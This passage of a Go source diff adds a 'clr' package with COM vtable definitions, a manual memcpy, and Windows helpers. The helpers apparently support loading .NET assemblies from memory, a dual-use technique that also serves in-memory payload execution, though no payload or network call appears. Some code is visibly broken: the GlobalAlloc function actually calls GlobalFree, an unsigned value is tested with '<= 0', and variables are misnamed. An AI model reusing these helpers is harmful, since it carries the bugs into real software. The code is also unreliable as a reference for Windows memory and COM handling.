ret, _, _ := syscall.SyscallN(obj.Vtbl.Write,
uintptr(unsafe.Pointer(obj)),
uintptr(unsafe.Pointer(&buffer[0])),
uintptr(len(buffer)),
uintptr(unsafe.Pointer(&bytesWritten)))
if ret != 0 {
return 0, syscall.Errno(ret)
}
return bytesWritten, nil
}
// Seek moves the stream pointer
func (obj *IStream) Seek(offset int64, origin uint32) (uint64, error) {
var newPos uint64
ret, _, _ := syscall.SyscallN(obj.Vtbl.Seek,
uintptr(unsafe.Pointer(obj)),
uintptr(offset),
uintptr(origin),
uintptr(unsafe.Pointer(&newPos)))
if ret != 0 {
return 0, syscall.Errno(ret)
}
return newPos, nil
}
// Release decrements the reference count
func (obj *IStream) Release() uint32 {
ret, _, _ := syscall.SyscallN(obj.Vtbl.Release, uintptr(unsafe.Pointer(obj)))
return uint32(ret)
}
+27
View File
@@ -0,0 +1,27 @@
package clr
import (
"unsafe"
)
type usp = unsafe.Pointer
type size_t = int
func Memcpy(dest, src unsafe.Pointer, len size_t) unsafe.Pointer {
cnt := len >> 3
var i size_t = 0
for i = 0; i < cnt; i++ {
var pdest *uint64 = (*uint64)(usp(uintptr(dest) + uintptr(8*i)))
var psrc *uint64 = (*uint64)(usp(uintptr(src) + uintptr(8*i)))
*pdest = *psrc
}
left := len & 7
for i = 0; i < left; i++ {
var pdest *uint8 = (*uint8)(usp(uintptr(dest) + uintptr(8*cnt+i)))
var psrc *uint8 = (*uint8)(usp(uintptr(src) + uintptr(8*cnt+i)))
*pdest = *psrc
}
return dest
}
+42
View File
@@ -0,0 +1,42 @@
package clr
type PropertyInfo struct {
Vtlb *PropertyInfoVtbl
}
type PropertyInfoVtbl struct {
QueryInterface uintptr
AddRef uintptr
Release uintptr
GetTypeInfoCount uintptr
GetTypeInfo uintptr
GetIDsOfNames uintptr
Invoke uintptr
ToString uintptr
Equals uintptr
GetHashCode uintptr
GetType uintptr
get_MemberType uintptr
get_name uintptr
get_DeclaringType uintptr
get_ReflectedType uintptr
GetCustomAttributes uintptr
GetCustomAttributes_2 uintptr
IsDefined uintptr
get_PropertyType uintptr
GetValue uintptr
GetValue_2 uintptr
SetValue uintptr
SetValue_2 uintptr
GetAccessors uintptr
GetGetMethod uintptr
GetSetMethod uintptr
GetIndexParameters uintptr
get_Attributes uintptr
get_CanRead uintptr
get_CanWrite uintptr
GetAccessors_2 uintptr
GetGetMethod_2 uintptr
GetSetMethod_2 uintptr
get_IsSpecialName uintptr
}
+124
View File
@@ -0,0 +1,124 @@
package clr
type SystemType struct {
vtbl *SystemType_Vtbl
}
type SystemType_Vtbl struct {
QueryInterface uintptr
AddRef uintptr
Release uintptr
GetTypeInfoCount uintptr
GetTypeInfo uintptr
GetIDsOfNames uintptr
Invoke uintptr
ToString uintptr
Equals uintptr
GetHashCode uintptr
GetType uintptr
MemberType uintptr
name uintptr
DeclaringType uintptr
ReflectedType uintptr
GetCustomAttributes uintptr
GetCustomAttributes_2 uintptr
IsDefined uintptr
Guid uintptr
Module uintptr
Assembly uintptr
TypeHandle uintptr
FullName uintptr
Namespace uintptr
AssemblyQualifiedName uintptr
GetArrayRank uintptr
BaseType uintptr
GetConstructors uintptr
GetInterface uintptr
GetInterfaces uintptr
FindInterfaces uintptr
GetEvent uintptr
GetEvents uintptr
GetEvents_2 uintptr
GetNestedTypes uintptr
GetNestedType uintptr
GetMember uintptr
GetDefaultMembers uintptr
FindMembers uintptr
GetElementType uintptr
IsSubclassOf uintptr
IsInstanceOfType uintptr
IsAssignableFrom uintptr
GetInterfaceMap uintptr
GetMethod uintptr
GetMethod_2 uintptr
GetMethods uintptr
GetField uintptr
GetFields uintptr
GetProperty uintptr
GetProperty_2 uintptr
GetProperties uintptr
GetMember_2 uintptr
GetMembers uintptr
InvokeMember uintptr
UnderlyingSystemType uintptr
InvokeMember_2 uintptr
InvokeMember_3 uintptr
GetConstructor uintptr
GetConstructor_2 uintptr
GetConstructor_3 uintptr
GetConstructors_2 uintptr
TypeInitializer uintptr
GetMethod_3 uintptr
GetMethod_4 uintptr
GetMethod_5 uintptr
GetMethod_6 uintptr
GetMethods_2 uintptr
GetField_2 uintptr
GetFields_2 uintptr
GetInterface_2 uintptr
GetEvent_2 uintptr
GetProperty_3 uintptr
GetProperty_4 uintptr
GetProperty_5 uintptr
GetProperty_6 uintptr
GetProperty_7 uintptr
GetProperties_2 uintptr
GetNestedTypes_2 uintptr
GetNestedType_2 uintptr
GetMember_3 uintptr
GetMembers_2 uintptr
Attributes uintptr
IsNotPublic uintptr
IsPublic uintptr
IsNestedPublic uintptr
IsNestedPrivate uintptr
IsNestedFamily uintptr
IsNestedAssembly uintptr
IsNestedFamANDAssem uintptr
IsNestedFamORAssem uintptr
IsAutoLayout uintptr
IsLayoutSequential uintptr
IsExplicitLayout uintptr
IsClass uintptr
IsInterface uintptr
IsValueType uintptr
IsAbstract uintptr
IsSealed uintptr
IsEnum uintptr
IsSpecialName uintptr
IsImport uintptr
IsSerializable uintptr
IsAnsiClass uintptr
IsUnicodeClass uintptr
IsAutoClass uintptr
IsArray uintptr
IsByRef uintptr
IsPointer uintptr
IsPrimitive uintptr
IsCOMObject uintptr
HasElementType uintptr
IsContextful uintptr
IsMarshalByRef uintptr
Equals_2 uintptr
}
+8
View File
@@ -0,0 +1,8 @@
package clr
type TargetAssembly struct {
AssemblyInfo *uint16
AssemblyBytes *byte
AssemblySize uint32
IAssemblyStream *IStream
}
+41
View File
@@ -1,3 +1,4 @@
//go:build windows
// +build windows
package clr
@@ -9,6 +10,7 @@ import (
"unicode/utf16"
"unsafe"
"golang.org/x/sys/windows"
"golang.org/x/text/encoding/unicode"
"golang.org/x/text/transform"
)
@@ -97,3 +99,42 @@ func PrepareParameters(params []string) (*SafeArray, error) {
}
return paramsSafeArrayPtr, nil
}
func GlobalFree(p uintptr) {
modKernel32 := windows.NewLazyDLL("kernel32.dll")
procGlobalFree := modKernel32.NewProc("GlobalFree")
procGlobalFree.Call(p)
}
func GlobalAlloc(p uintptr) {
modKernel32 := windows.NewLazyDLL("kernel32.dll")
procGlobalAlloc := modKernel32.NewProc("GlobalFree")
procGlobalAlloc.Call(p)
}
func HResultFromWin32(x uint32) uint32 {
if x <= 0 {
return x
}
return (x & 0x0000FFFF) | (7 << 16) | 0x80000000
}
func SHCreateMemStream(assemByte *byte, assemSize uint32) *IStream{
modKernel32 := windows.NewLazyDLL("shlwapi.dll")
procCreateMemStream := modKernel32.NewProc("SHCreateMemStream")
r, _, err := procCreateMemStream.Call(uintptr(unsafe.Pointer(assemByte)), uintptr(assemSize))
if r == 0 {
fmt.Println("Error in SHCreateMemStream ", r)
fmt.Println(err)
}
return (*IStream)(unsafe.Pointer(r))
}
func HeapCreate(flag uintptr) uintptr {
modKernel32 := windows.NewLazyDLL("kernel32.dll")
procHeapFree := modKernel32.NewProc("HeapCreate")
res, _, _ := procHeapFree.Call(flag, 0, 0)
return res
}